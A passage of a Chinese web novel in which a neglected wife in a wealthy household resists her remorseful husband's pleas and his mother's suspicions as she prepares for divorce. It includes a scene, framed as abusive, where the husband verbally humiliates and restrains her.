林嬷嬷跟在季含漪的身边,眼眶还红着:“少夫人是不知晓,那几个婆子来的时候多气势汹汹的,拿着本不知道哪儿来的册子就要去库房核对,阵仗可大。”
“老奴还以为是丢了什么东西,如今看少夫人没事了就好。”
季含漪见着下人们是真担心,又宽慰了几句,看院子里的丫头彻底安心了,才让人去烧热水沐浴。
沐浴时,容春道:“还是少夫人有先见之明,要是没那几本册子作证,不是有理都说不清了?”
季含漪垂眼。
也不是有理说不清,真要说清也能说清,林氏那里记了开支往来的,真要查,也能查,就看她怕不怕麻烦重新整理来查了。
再有有些事情,她看明白了,不信你的人,你就算拿出再大的证据她也不信你。
就如谢玉恒不信她。
就如今日婆母即便查出东西都在,也会往她找谢玉恒要银子那头去想。
一个人要是不信你,便是什么由头也能找出来的。
水珠落在盈盈雪肤上,季含漪撑头在浴桶边缘,湿漉漉的热气爬上脸庞,脸颊生了层红晕,眼里却有一股潮湿的失意。
她失神,整日里为着这些证明个清白,又有什么意思呢。
她当初期望的姻缘,现在看来也不过是后宅一地琐碎,女子终其一生被锁在这一方小天地里,为了名声,为了清白经营算计。
各个心里有算盘,和睦的不过是脸面上的那点交情。
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很快到了除夕的那日,用过了团圆饭后,谢家一大家人都高高兴兴的聚在前厅的暖屋里。
夫人们围着老太太说话打趣,小辈们说笑打闹,太太们坐在一起说家里长短,偶尔照顾孩子。
男子们也聚在前厅的偏厅里,讲这一年朝廷的**与机遇。
大老爷其实早从任上回来了,今年是考课年,前些日回来一直忙着吏部和都察院的考核,这两日才闲了下来。
他闲下来还特意见了季含漪一面,为季含漪送了份当地时兴的布匹首饰,说是对上回**那件事的补偿。
季含漪没推脱过,也只好收下。
李眀柔没有出现在这里,因为上回李明清的那一闹,全府的人都知晓了李眀柔做的事情,知道是老太太惩治的,不管从前交情多好,大家也都心照不宣的没有提起她。
李明清倒是在的,不过这回比之前安静了些,坐在角落里一言不发,从前与他能玩在一块的谢府孙辈,也没往他那儿去了。
季含漪与这些热闹一直是格格不入的,三房太太里,唯有她还没有孩子,不论其他的,就这一点也与其他几位少夫人说不大上话。
她本是想着坐一会儿就走的,但老太太特意叫了她去身边坐,也坐了过去。
谢老太太一直牵着她的手,又当着众人的面夸她贤惠懂事,下头坐着的人明白谢老太太的意思,也纷纷迎合着。
宴散后,谢老太太独独留季含漪和谢玉恒送她回去,除夕的夜里下着小雪,季含漪扶着老太太,身上披着厚厚的斗篷,斗篷上的绒帽盖在发上,盖住了寂寂神色。
谢玉恒沉默的走在后面。
谢老太太路上问季含漪:“恒哥儿这些日可对你好?”
这话谢玉恒能听见,他抬头看向季含漪的侧脸。
沉沉雪夜,鹅毛飞雪,昏昏黄灯照亮青石台阶,季含漪的眉眼如旧,轻轻妩妩,眼底有一抹缱绻的安静。
飞雪落在她毛茸茸的帽檐边上,化为晶莹的水珠,时不时露出粉白的耳坠一角
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,谢玉恒怔怔的看着,如今他看她愈多,心里就想她愈多,才发觉她有多么让人喜欢。
柔软又娇柔,总是温声细语的说话含笑,他也从未见过她生气过。
其实如今谢玉恒倒盼望着季含漪能真的能如李明柔那般朝着他大哭一场。
他心里噗噗直跳,紧张的等着季含漪的话,
季含漪不会在过年这样的日子说那些沉重压抑的话,她轻轻点头:“大爷一向都好的。”
谢玉恒手指抖了抖。
是啊,季含漪在外头都说他很好。
他如今方明白,他对她大抵是真的不好的。
林嬷嬷偷偷找到他,说她从未添置过首饰,公中送来的都是寻常有些老气的,她很少佩戴,让他为她添置几件首饰,说不定她就能高兴了。
他也是听了这话才意识到,他给明柔买了数不清的首饰,竟然一件也没有给她买过。
她从来不提,从来不说,一直都安安静静地跟在她身侧。
难怪她如今会这么坚持的要与他和离。
他手中紧紧捏着一根金嵌碧玺宝石的翠花簪,这是翠玉阁里最名贵的簪子了,她应该会喜欢吧。
冷风蔓延,季含漪的声音却细致又柔软,谢老太太听了季含漪的话只叹息,她如何不明白季含漪的话不过是哄她高兴。
自己孙子在李明柔谋害含漪的的这件事事情上,的确做的糊涂,她想帮他都帮不了。
回了屋子,谢老太太握着季含漪的手,又将她的手放到谢玉恒的手上,看着谢玉恒:“你知道从前你错在哪里了么?”
谢玉恒目光看向季含漪,掌心不由将季含漪的手捏紧,声音饱含愧疚:“孙儿从前忽略了含漪。”
谢老太太摇头:“是你分不清亲疏。”
“这世上只有你的妻子是一心一意对你的,你谁都可以负,唯独不能负你的妻。”
“别忘了季家对你的恩情。”
“含漪嫁给你,是当初谢家求的姻缘,你应该要好好对她。”
谢玉恒紧紧看着季含漪点头:“孙儿从前做的不好,往后一定会好好对含漪的。”
说着谢玉恒将那只握在掌心许久的簪子拿出来,送到季含漪的面前,声音诚挚:“含漪,我从前对不住你,求你再给我一次机会。”
“我往后定然好好对你。”
在这间温暖的屋子里,在这本该温馨慈爱的场景里,季含漪却忽然觉得浑身发凉。
凉的透顶。
凉的她浑身都在打颤。
她怔怔看着谢玉恒手上的那只簪子,她不明白原因,她向来敬重的老太太,她从前依赖信任的夫君,此刻他们在她眼里犹如冷冰冰双手沾满血的刽子手。
季含漪一下子从谢玉恒的手里将手抽出来,她睁大眼睛,有些惊恐的看着屋内的人,她眨着眼睛,她说:“对不起……”
极美的杏眸里映着恐惧的火光,季含漪踉跄**着,又转身往外头走。
谢玉恒怔怔看着季含漪刚才那恐惧的眸子,又错愕的看着空荡荡的掌心,上头连一丝她的温度都没有了。
谢老太太也愣了瞬,随即眼里浮起伤心:“那孩子……”
“怕再也回不来了……”
谢玉恒只觉得膝盖发软,向来不落泪的人,眼里滚出泪光来,一下子就跪在了谢老太太的面前:“祖母,求您帮帮我。”
“孙子后悔了,孙子离不得她……”
第64章 谁都知道谢玉恒喜欢的人是谁
谢玉恒的声音颤抖,带着伤心。
这是谢老太太第一次看谢玉恒这般难过的时候,浑身佝偻,软成一团。
谢老太太低头眼里含着悲色,看着谢玉恒眼里的泪光,叹息:“三年了,三年才觉得含漪的好来,晚了么?”
“李眀柔的心思太重太深,你偏偏从前那般偏袒,事到如今,你叫祖母怎么帮你呢?”
“我答应过她,等我生辰后若是她还要走,我怎么能拦着她?”
谢玉恒跪着的身形便微微一晃,手上的簪子刺入掌心,出了血,他也感受不到疼,任由那血一滴一滴滴在袍子上。
他红着眼睛,依旧跪在地上,声音带着哽咽:“求您…”
谢老太太低头看着谢玉恒掌心里的血也怔了怔,随即是一声长长的叹息。
万事要到最后一步才知道回头,那长长的回头路又怎么走呢,即便能走,也必然是艰难的。
季含漪一路走到外头,僻静的小路,黑漆漆的周遭,身边唯有容春提着灯笼匆匆跟在身边的步伐。
她停在一处石桥旁,抬头让飞雪都落到脸上。
一点一点的冰凉落到脸颊上,她觉得心底那股恶心的发闷才终于好了一些。
老太太刚才那些话,让季含漪始终明白,无论老太太对她多好,她也始终都是外人的,再好的真心,也会留一分。
老太太心底深处是偏袒谢玉恒的。
但她已经知足,也知晓足够了,她不该埋怨,可心底当真难受啊。
容春担心的站在季含漪的身边问:“少夫人,怎么了?”
季含漪看着黑漆漆的夜空,默默的眨眼。
这一夜她将书房的门死死地合紧,再用门栓栓住,还叫容春陪在她身边睡。
谢玉恒回来见着黑漆漆的主屋又往后廊屋去,他推不开门,又唤季含漪的名字。
但无论他在外头站了多久,说了多少愧疚的话,那扇门也始终没有打开过。
谢玉恒离去的时候已经是半夜了,他魂不守舍的离开,还不忘回头,身形几乎瘫倒,他从来不知晓她会有这般绝情的时候。
第二日的时候,谢大老爷又叫了季含漪过去。
谢大老爷对季含漪这个儿媳很是满意的,见着季含漪在自己面前拘谨,他温和道:“一家人不用拘着,孩子的事情不急,大不了往后过继个宗族里的孩子就是。”
又道:“还有李眀柔那件事我也听说了,老太太做主的好,谢家不留心术不正的人,等老太太寿辰一过,就送她走。”
末了谢大老爷又冷冷看了眼旁边的林氏,再看向季含漪低声道:“我知晓府里之前那些流言,你嫁给了玉恒,谢家的东西便是你该用的,别怕,你孝敬你母亲是应该的,谁再敢说你,你便直接说到我这儿来,我给你做主。”
季含漪不知晓大老爷竟知晓了这事,没如从前那般为着和气都忍下,只是道:“我已与母亲和二婶婶解释清了,往后每一笔花用也依旧记着的,算清楚也好。”
谢大老爷一顿,又重新看向季含漪,又低低道:“往后委屈尽管找我与老太太,这样的事情不会再有了。”
坐在旁边的林氏听了这话,脸色微微变了变。
老爷这话分明是故意打她的脸。
但大老爷发话,那脸上神情严肃,林氏这时候也不敢开口,脸上的表情却凝固了。
大老爷走后,季含漪便从林氏那儿出来,回去后就给外祖母写了封信去,谢老太太初五过寿,那天她不好说离开,但第二日是必然要离开的,让表哥那日来接她,将她要带走的东西也一并带走。
这几日过节,谢家在京城里是大族,谢大老爷回来一趟结交应酬多,谢玉恒要跟在父亲身边应酬,季含漪倒是轻松了些,白日里也可以不用与谢玉恒怎么碰面了。
到了晚上的时候,季含漪也尽量在谢玉恒回院之前,早早回了书房,尽量不与他碰面,还算过得轻松。
到了初三这日的下午,谢玉恒同父亲一起从前院回来,林氏便叫谢玉恒留下商议初五谢老太太的宾客名单。
问谢玉恒的同僚有没有交好的,她也好一并送帖子去。
谢玉恒便道:“还是按着往年的来便是。”
林氏点点头,又拉着谢玉恒说了会儿话,问了谢玉恒关于去谢老太太那求情的事情。
谢玉恒顿了一下才开口:“祖母松口了,说明柔既然有这个心给她祝寿,那天便让她出院子。”
林氏点点头,又叹息:“明柔这回的确糊涂,竟然做了这样的事情。”
又看着谢玉恒:“老太太真说只能嫁给一个生员了,没回旋的余地了么?”
“将她嫁到那么远的地方,往后想要再见她,恐怕艰难了。”
“再有她身子不好,自小她的身子就弱,我倒是有些担心她的身子。”
谢玉恒便低声道:“我给明柔买了些血燕,还为她买了些补身子的药送了过去,她在祠堂受了罪,身子的确有些受不住,我见了也是有些难受的。”
“至于老太太那里,应该是再也没有余地了。”
林氏听了叹息:“好在你还记得给她送那些补身子的去,但愿她的身子能快些好起来吧,不然老太太的寿辰一过,她又要去那么远的地方,身子怎么熬的过去。”
谢玉恒靠在椅背上:“母亲放心就是,那些燕窝和补品每日不会断的,我也为她打点好了门口守门的婆子,不会太为难她。”
林氏见谢玉恒这么上心李眀柔的事情,就连李眀柔这回要害季含漪,谢玉恒都这么维护,不由问出心里头的话来:“把明柔送走,你心里当真舍得?你若要是舍不得,母亲再去你父亲跟前说说,让你父亲去老太太那儿为明柔求求情。”
她又一叹:"你与明柔两个孩子自小都是我看着一起长大的,你有多在意明柔我最是看在眼里,你要想……”
林氏的话还没说完,就被谢玉恒一下子打断。
只见谢玉恒看向林氏,难得郑重道:“母亲,我与明柔是不可能的。”
“我现在只想与含漪好好过往后的日子。”
“将她送去那么远的地方也是我与祖母说的,我知道明柔这次这么做是因为我引起,我只希望往后再没这些事情了。”
林氏哑了哑,也是没想到谢玉恒怎么忽然就转了性子了。
刚才她听谢玉恒的语气,听起来像是还没有放下李眀柔的,这么关心,怎么说这个他还反而还不愿意了。
她没忍住又劝:“你要不给母亲说个实话,要是你真的喜欢明柔,干脆等老太太的寿辰一过,我便做主让明柔做你的妾室,让生米煮成熟饭,那个时候老太太不愿意也只能答应了。”
“我知晓你一直不怎么喜欢季含漪,我想明柔就算做不成你的妻,做你的妾她应该也是愿意的。”
“这事只要你开口,我便为你安排。”
“说实话,明柔那孩子我也喜欢,也愿意见着你们两人在一起的。"
谢玉恒一愣。
他失神的听着母亲的话,原来在母亲口中,自己也是不喜欢季含漪的。
那她是不是也觉得他并不喜欢她。
他这些日问了周遭许多人,人人都说他不喜季含漪。
越是这般越是觉得心里如在淌血,从前的自己,到底又是怎
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么对她的,
心里犹如被千斤重的巨石压着,谢玉恒觉得喉咙里艰涩异常,半晌他道:“含漪嫁给我,我就不会再纳妾。”
林氏一愣:“若是你在意当年那个约定,其实也没什么的,季家现在早没了,季含漪就算要闹,她也没底气闹,即便你真纳妾了,她又能怎么办?”
“她还敢离了谢家?她还敢忤逆你?”
谢玉恒手掌微微捏紧,连呼吸都发紧,他看着地面失神,又深吸一口气开口:“我并不喜欢明柔,母亲往后也别再说这样的话了。”
林氏愣了半晌,也没有反应过来谢玉恒的这番话到底是什么意思。
不喜欢能这么惦记她,日日记得送补品燕窝?那日季含漪被他抛下从雪里回来,受了那么大的寒,也没见他怎么担心。
他到底喜欢谁,不是明明白白的?
这事就是任何一个人来判,也知道谢玉恒喜欢的人是谁。
林氏将刚才想的话说了出来,又道:“往前含漪病了,没见你关心过,明柔你却次次挂心,那次你先送明柔回来,还不放心的在她屋子里陪到了天快亮了才走,一夜都没怎么睡,你这是不喜欢她?”
“你要不喜欢她,能抛下含漪这么挂心明柔?”
“你要不喜欢明柔,这回明柔害了含漪,你还这么偏向着明柔?”
说着林氏劝道:“都到这地步了,你还犟什么?你要还不下决心,真要看到明柔走了,你那时候再后悔就没机会了。”
“再说,你们两人本就青梅竹马,老太太也能理解的。”
“季含漪又是个不能生的,她不能生,让明柔给你生去,含漪生的孩子你不一定喜欢,明柔生的孩子你一定是喜欢。”
“我想想这样也好,她不能生就算了,你纳了明柔,你们两人有孩子,也有个……”
谢玉恒垂着头,手指抖了抖,忽然大声道:“母亲!”
这一声将林氏吓了一跳,看向谢玉恒问:“怎么了?”
谢玉恒紧紧捏着手,刚才母亲的话就如刀割在身上那般疼。
他撑着额头,心里不停的在颤。
是啊,季含漪受寒那么严重,他竟然没想过她的身子也会难受的。
她给李眀柔送了无数珍贵的东西,却一样也没有给过她。
可即便他这般忽视她,季含漪也一句没有说过什么,安安静静的。
好似他永远给她天大的委屈,她早就习惯了。
谢玉恒抬头,眼眶中有些红丝:“母亲往后不用再提明柔,我对明柔只是对她的照顾而已,对她并没有其他的心思。”
“我如今只想要好好对含漪。”
林氏愣了愣,对谢玉恒这些话当真是想不明白了。
她不确定的又问了一句:“你真想明白了?”
谢玉恒嗯了一声,声音没有犹豫:“想明白了。”
林氏沉默了一会儿,也不再说这个了。
心里头虽然有些遗憾,也遗憾自己没有照顾好妹妹女儿,但事已至此,自己儿子又忽然又是这个态度,也是没法子的事情了。
她又看着谢玉恒问了另外一件事:“这三年你可还给季含漪另外补贴过银子了?”
谢玉恒微微皱眉:“母亲为何会这样问?”
林氏便将上回谢二夫人看到的事情,还有季含漪那三本册子的事情与谢玉恒说了一遍。
又道:“我这两日也想了,她那铺子是有收益,也不过百来两,她就这么大方,还用自己的银子补贴?没拿谢家一点?这我是怎么也不信的。”
“我想来想去,大抵是你给她补贴了。”
“不然她手上能有什么银子。”
第65章 她想要和离,她又想贪图谢家什么?
谢玉恒听完母亲的话,眉头不由得皱得更深。
他长长深吸一口气,他竟然从来不知道,季含漪在院子里自己竟然出了这么多花用。
可是她一次也没有同他提起过,一回也没有问过他要过银钱。
那她是哪里来的银子。
谢玉恒沉默一瞬,对着林氏低声道:“我从未给她过银子,她也从未找过我要过。”
这些年谢玉恒的俸禄,都是在他自己账目下的。
他名下的私财也不少,他是谢家长房唯一的嫡子,年少时母亲就为他经营了不少铺子田庄,他是从来没有差缺过银子的。
且他也从来没有为银钱的花用操心过,这会儿细细一想,季含漪手头上该是没有什么银钱的。
她嫁过来的那两担嫁妆,里头全是些不值钱的被褥器具,不过一间不在闹市的铺子,又能有什么收益。
越是这么想,谢玉恒的心里就越是一紧。
他不仅从未给过季含漪银钱,甚至连件东西也都未给她买过。
他其实也不知晓到底自己是怎么了,或许是季含漪从来不要,又或许是从前他有些不喜欢季含漪的性子,还有他时不时的在床榻上莫名对季含漪生不出什么兴致来,就有些疏远她。
其实谢玉恒有时候也是苦恼的,明明他心里是想与季含漪亲近,但是身体上却力不从心,在床榻上总是半晌起不来,又很多时候早早了事,他也私下看过了郎中,可是时好时坏的,渐渐的大抵是因为男子的自尊,有时候不由自主的就疏远了。
这会儿心里也生了许多愧疚出来。
林氏听到谢玉恒这么说,心里也愣了一下。
她有些不敢相信的又问了谢玉恒一遍:“你当真没给过她银子?”
谢玉恒脸上难得对母亲显露出了一些不耐烦的神色:“当真没有给过。”
他又皱眉道:“二婶总喜欢在人后说这些事情,母亲难道也信了?”
林氏愣了愣,也有些失神。
她也是没想到的,这些年总觉得季含漪是贪慕谢家的富贵,当年才拿着婚书过来,其实这些年也是她的一个心病。
当年季含漪要是不拿着婚书来,她就能给自己儿子和李眀柔做主婚事,也不会有现在这个遗憾。
可是现在不管从哪头看,季含漪都是没拿用谢家的东西的。
林氏一时不知该说什么话,心里也不是什么滋味。
谢玉恒忍不住对着林氏开口道:“母亲往后对含漪好些,也别再这样猜测她。”
林氏看着谢玉恒:“即便她没拿谢家的东西补贴顾家,可她如今还不是在花用谢家的东西?”
“往她院子里送的东西布匹都是好东西,她在谢家又吃什么苦了?要是嫁到别家去,她能过现在的好日子?”
“说来说去,这些都是她应该做的。”
"如今查出来她没做就好,也算是她本分。"
谢玉恒皱眉听着母亲说的这些话,他忽然想,季含漪这些年在自己母亲身边伺候,到底受了多少气。
他腾的一下从椅子上站起来,低头脸上不高兴的看着林氏:“即便她将谢家的东西拿去顾家那,又有什么?难道顾家这点东西都给不起了?”
“当初定亲的人是谁?!现在又为难她做什么?”
林氏一愣,见谢玉恒居然为季含漪说话,也是觉得震惊。
从前她那般在谢玉恒的面前说季含漪的不是,可从来没见谢玉恒说个什么,现在到底是怎么了,居然为季含漪说起话来了。
她忍不住道:“你这会儿不高兴什么?这又哪是给不起的事情?”
“这是关乎品性!”
谢玉恒已经不想要与母亲说话了,他紧紧皱着眉头:“她没有这么做过,母亲却这么猜疑她,她不难受?”
“她如今还想要与我和离,她又想贪图谢家什么?”
谢玉恒的这一句话,又将林氏惊得愣住,几乎以为自己听错了,震惊的看向谢玉恒:“你说什么?”
谢玉恒却深吸一口气,一句话不说的转身匆匆走了出去。
林氏看着谢玉恒的背影,有些不可思议的问身边婆子:“他刚才说什么了?季含漪要和离?”
“她有这个胆子?”
婆子愣了愣,也不敢说大爷真是这么说的。
---
今日亲戚上门,府里女眷都要一起去花厅应酬,一起用膳,一起陪着老太太。
季含漪白日忙了一上午,到了夜里大家聚着说话的时候,照例也是提前走,她本就不爱言语,即便先走,也没有人注意到她。
只是今日她回去的时候,却看到谢玉恒堵在了她书房门外。
她的书房门敞开着,显然,谢玉恒进去过。
这里没有一个下人在,看来也都被谢玉恒支开了。
季含漪静静看着此刻那个站在夜色里的男子,依旧是那样雅致清冷的面容,但这一刻让季含漪觉得从前怎么会想要与这样的人好好过一生。
谢玉恒看着离他远远站着的季含漪
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,她身上粉色的洒金兔毛披风上是一张白净漂亮的脸庞,浓密的发丝从风帽里落出一点点,夜里丝丝凉风吹拂她脸庞,她秀气的鼻头微微染了一丝红。
披风包裹着她娇小宜人的身子,他忽然怀念起从前将她揽入怀里的感觉。
只是此刻,她却因为他往前一步,她的步子便后退了一步。
满眼防备的看着他。
谢玉恒脸上尽是苦涩,他从来没想过,他们之间有一天会变成这样。
谢玉恒艰涩的开口:“之前母亲是不是为难你了?我也已经与母亲解释清楚了,你从没找我要过银子,我也从没有给过你银钱。”
“院子里的一切打点,都是用的你的私房。”
“这些年我亏欠你的银子都放在了你桌上,还有我给你买的首饰,你都收下就是。”
季含漪皱眉就要摇头,谢玉恒却又继续开口:“还有明柔的事情,这些日她都被关在院子里,我没有再同祖母给她求情。”
“等后日祖母寿辰一过,我便派人送她去祖母老家的乡下嫁人。”
说完谢玉恒黑漆漆的眼眸紧紧看着季含漪:“含漪,她再也不会回来了。”
“院子里的那棵梨树,我也安排了人后头砍去。”
说到这里的时候,谢玉恒微微有些激动的看着季含漪:“含漪,你告诉我,你还想我做什么?”
冷风在本就冷清的后廊房呼啸而过,这几日格外的冷,今日虽未下雪,却比下雪更冷。
现在谢玉恒这副满是后悔的神情季含漪是看不懂的。
她甚至开始觉得厌烦。
是啊,她开始厌烦谢玉恒了。
季含漪依旧摇头,依旧是那句:“大爷,我并不需要。”
这话平静无波,却犹如利剑。
谢玉恒忽然双目猩红的靠近季含漪,他身躯高大修长,几个大步便到了季含漪的面前,双手紧紧捏着她的肩头,如一头沉默又发疯的狮子,低头如疯子般质问着:“你从前从不会这样无情的。”
“我不信你忽然就变成了这般。”
“你与我说实话,是不是你攀上了其他人?”
“我现在才想起来,你表哥被救出来的事情就蹊跷的很。”
说着谢玉恒血红了眼睛,看着季含漪的眼睛满是讽刺的笑起来的:“我终于想明白了你为什么会这么绝情,你是不是早就在外面和别的男人勾搭在一起了。”
他又用力摇晃着季含漪的肩头:“含漪,你告诉我,是不是?”
第66章 你这具身子,还被哪个男人看过呢
季含漪瞪大眼睛震惊的看着谢玉恒,她不敢置信这些话竟然是从谢玉恒口中出来的。
那个有些清高的温润公子,他有一天竟然也会说这样的话。
她努力的想要推开她,谢玉恒却紧紧掐着她的手臂,一步一步推着她往书房里面走,又捧着她的脸庞,逼着她后退,脸上带着陌生的讥讽,指尖用力捏进她光滑的脸庞:“含漪,你知道你这张脸多么能勾引男人吧,多么漂亮的脸庞,肤如凝脂,哪个男人不喜欢呢?”
谢玉恒说着压低身体,将季含漪逼着抵在长案边缘,他的声音里是破罐子破摔的报复:“这具身子也十分能取悦男人,你知道我最满意你什么?我最满意你在床上的时候,身子又软又滑,动情的时候比青楼……”
后面的话谢玉恒死死看着季含漪脸上的神情,低头在她耳边低语,将那些粗鄙不堪又下流的话用来凌迟她。
他报复似的看着季含漪笑,双手紧紧捏着季含漪的手腕让她动弹不得,眯着眼睛看着身前那娇小身子的颤抖,看着她脸庞苍白,眼里恐惧。
看着她那双好看至极的眼睛染上泪光,他终于觉得有那么一丝解气了。
他不顾季含漪反抗的低头埋在她香软的颈间,深吸一口她身上香软的味道,沙哑的说出最欺凌侮辱她的话:“含漪,你这具身子,还被哪个男人看过呢。”
说着谢玉恒抬起头,报复后的眼神静静看着季含漪的眼睛。
看着她被羞辱的摇摇欲坠,那张饱满的红唇被咬出了血,他才觉得他被她践踏的自尊又重新被捡了起来。
他当然知晓以季含漪的性子是做不出那样的事情的,可他就是要羞辱她。
她也只能是他的。
永远只能是他的。
季含漪浑身发着抖,力气根本抵抗不了谢玉恒,她强忍着不让在眼里打转的眼泪滚落下来,倔强的依旧对上谢玉恒的眼睛。
倔强的忍受着谢玉恒捏在她手腕上疼痛,她努力的眨眼睛,白嫩的脸庞血色尽褪。
耳边响起谢玉恒落在耳边如魔鬼的话:“含漪,只要你愿意,我们还能好好的。”
“我们如从前一样。”
谢玉恒说完话便直起身,看向撑在桌面上摇摇欲坠的人。
烛影凌乱,她本单薄的身子在轻颤,
又在他措手不及的瞬间,他被季含漪抬手打了一巴掌。
巴掌声很清脆,打在脸上亦很疼。
谢玉恒不敢置信的看着季含漪,见着她眼眶里的红,珠色点点,他又虚软的捏紧手掌,浑身痛的脱了力气:“含漪,即便你有不满,可我做了什么大错?”
“即便我三妻四妾,作为世家男子,我又做错了什么?”
“至少我答应你永远只有你一个妻子,至少我身边直到如今也只有你。”
“我纵有千万般的不好,但你与其他人比较,也千万般的不好么?”
“哪个男子能如我这般许诺你?你以为你离开我,你还能嫁什么男人?你即便能嫁,你也早就不是清白身,哪个男子不介意?即便真有人愿娶你,难道就不是与一群女人争夺一个男人了么。”
“这就是你想要的?”
发泄过后的谢玉恒身上有一股颓然,刚才对季含漪说了那些话后,脑中有过短暂的快感,但那种快感又被季含漪的一巴掌打的泄气。
脸上的疼告诉他,刚才那一幕,他自己都觉得自己陌生。
他不该说那些话的。
季含漪紧紧撑着桌沿,忍着颤抖的心绪,忍着哽咽开口:“我即便为妾,我即便永远不嫁,我也不会留在这里任你侮辱。”
谢玉恒不可置信的颓然往后退了一步,怔怔看着她,身形一晃。
他又闭了闭眼,深吸一口气,低头看着季含漪:“含漪,别与我说气话。”
“刚才那些话是我不该说,但你也该冷静的想一想,我们之间根本远不至于到这个地步。”
“明日是祖母寿辰,你好好想一想。”
“含漪,我是愿意与你继续过一生的,愿意对你信守承诺的。”
谢玉恒说完又深深看了一眼面前低着头的人。
他等了许久,她也始终都没有说话,发上的风帽在刚才的挣扎里落到地上,几缕发丝也散下来,垂在她的脸庞。
缱倦的侧脸依旧秀气莹白,她披风上还残留着他刚才用力捏出来的印子。
他抬头想要为她抚平,只是才伸出去一点,那道身形便猛的往后退,用惊恐的眼神看着他。
谢玉恒眼里一伤,心头绞痛。
他手悬在半空,半晌才开口:“含漪,对不起……”
季含漪没看他,也没回应他,只低头看着桌面出神。
许久之后他听见她细哑的声音:“大爷可以先离开么,我真的不愿说下去了。”
谢玉恒默默的垂手,他心里堵了一口永远也无力抒发的浊气。
他颓然的看着季含漪又开口:“含漪,即便我真的做错过,可你也应该给我将功补过的机会,而不是一点机会都不给我。”
“我希望你当
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真能够好好想清楚,和离不是儿戏。”
谢玉恒说完这句话,才步子凌乱的走了出去。”
谢玉恒一走,季含漪看着一脸担忧进来的容春,她看向容春,小声道:“容春,叫我一个人待一会儿。”
容春跨进来的步子一顿,伤心的咬着唇,又无声的往后退,轻轻合上了门。
刚才她其实是想要拦着的,可是大爷身边的两个人将她牢牢挡住,现在看主子这般伤心,她心里也难受极了。
书房内只有一盏灯,季含漪缓缓坐在椅上,看着谢玉恒送来的那两只匣子。
匣子是打开的,一直放着银票与现银,另一只放满了首饰。
季含漪只觉得眼前东西让她生厌,伸手将匣子合上,又缓缓趴在桌上,将脸庞埋在袖子里。
她没有伤心,没有想要落泪。
她只是心里堵的恶心,堵的喘不过气。
身上还在微微后怕的战栗。
被谢玉恒碰过的地方,都在战栗。
门外的谢玉恒没有走。
他怔怔看着窗上的那道剪映,看着她趴在桌案上的影子,几乎迈不开步子。
他想起了自己今天第一次进季含漪书房里看到的那一幕。
她的书房并不大,却给他一个完全陌生的季含漪。
原来他从来都不曾了解过她。
那花架上摆放着海棠花,摆放了好几盆。
他原以为她也不是那么喜欢海棠的,他当初见她伤心,原是想补偿她的,可她也再没提起过这件事了,原来她依然还念着这花,都放在了这里。
他从来都不知晓。
那窗下的书案上,还放着一幅画了小半的山水画。
那画上乱石珠连,涧水穿石,水流奔涌。
那用笔不似女子,苍劲老道,用淡墨罩染,再用石青薄薄的覆盖一层,娴熟又有气势与意境。
谢玉恒亦从来不知晓,季含漪的画会画的如此好。
她竟还养了一只猫。
那间屋子里的所有摆设,他都觉得陌生的很。
他方明白,他从来都不曾了解过季含漪。
他方明白,他曾经的忽视有多深。
但谢玉恒想,这些都不重要的,他知道季含漪一定能想明白的,这世上还有哪里能让她再过这样安稳的日子呢。
同僚说过,女人再大的气总有消减的那一天,只要他拖的再久一点,也总会不了了之。
谢玉恒尽管心里对季含漪有愧疚,但他想,他与季含漪的余生还很长,他总有机会弥补过来的。
第67章 李明柔被放出来
第二日一早的时候,容春端着热水推门进去,季含漪还缩在床榻上,乌黑浓密的发丝盖住小脸,容春看了心疼,小声道:“少夫人,该起了。”
季含漪知晓今日是老太太的寿辰,她懒懒的嗯了一声,脸庞从被子里露出来,问容春:“给老太太寿礼准备好了么?”
容春便忙道:"少夫人放心,昨晚上我就已经准备好了。"
季含漪点点头,又闭上眼从塌上撑起半身,脸色苍白素净:“桌上他昨夜送来的东西,你都拿去放到库房里吧,那些东西很贵重,还有银子,你好生放着,别弄丢了。”
谢玉恒昨夜送来的东西,季含漪也没打算还到谢玉恒的手上,她不愿再与他有什么牵扯了,只想清清静静的走,总之她走后,那些东西她也不会带走。
容春点着头,又看向季含漪那一双微微有点红肿的眼睛,心疼的递了煮熟的鸡蛋过去:“少夫人揉揉。”
季含漪捏着鸡蛋揉在眼睛上,事情过去一夜,她反而没昨夜那样伤心了,心里倒是更坦然了些,再没什么徘徊牵挂。
知道耽误不得,季含漪也早早的就起了。
今日府里格外热闹,谢老太太本就出身高贵,虽说是在初五的生辰,还没过完年,但来的人也是不少的,即便来不了的,也会送礼来。
大夫人林氏是最忙的,也将季含漪拉去后院接待,季含漪便叫容春替她将养了大半年的罗汉松给老太太送去。
老太太屋里那棵罗汉松去年不知怎么的枯了,往后的再养不活,谢老太太挂心了许久,有段日子总郁郁寡欢的,总觉得是预示着什么。
季含漪记在了心里,就去买了罗汉松养在自己书房,养了半年多,确定养好了,正好也赶上了谢老太太的寿辰。
季含漪昨夜没怎么睡好,上午跟在林氏的身边都是强打着精神,不过休息间隙里,她却看见了一人,那人正是许久不见的李明柔。
只见李明柔也正看着她,那眼里的神色看阴郁又安静,季含漪顿了瞬,又转头看向身边,问坐在身边的三房四少奶奶秦氏。
在谢府季含漪唯只与秦氏走的稍近一些,两人都喜爱字画,平日里也有话可说,且秦氏年纪最小,心思也一般没有那些弯绕。
秦氏见季含漪问,还有些诧异:“姐姐竟不知晓么?”
季含漪一顿下摇头。
秦氏就道:“今日老太太过寿,是大爷去老太太那儿求情的,说李明柔记着老太**情,想要来给老太太过寿。”
“她对姐姐做了那样的事情,老太太本不愿答应的,但架不住大爷求情,又说是明后日就送走了,今日便让她出来了。”
季含漪听了这话,脸上含着淡笑,心里已是生了讽刺。
放李眀柔出来给谢老太太过寿又是什么见不得人的事情么?谢府里头人人都知道了,却唯独瞒着她,好似她知晓了就要大闹一场,毁了老太太的寿宴。
她知晓原因,是谢玉恒安排人刻意瞒着她的,怕她又对李明柔做些什么。
她也没继续问了,问下去也没什么意义。
倒是秦氏凑到季含漪的耳边低声说了几句话:“那李眀柔是个蛇蝎心肠的,这回差点害了姐姐出事,大爷怎么还帮着她求情?”
“大爷这样做,姐姐心里怎么想?”
谢玉恒向来如此的,也不是一回两回。
他从来不会在乎她会怎么想,在他心里,自己是不会被他考虑到的。
不过早不要紧了,如今再计较那些,就真就和自己过不去了。
说话间隙,季含漪一直注意着李眀柔的举动,两人视线在某一刻对上,李眀柔便在下一刻飞快的别过了眼去。
季含漪收回视线,侧身对着身边的林嬷嬷低低吩咐了几句话,叫林嬷嬷好好看着李眀柔。
一朝被蛇咬,季含漪并不想再被咬第二次。
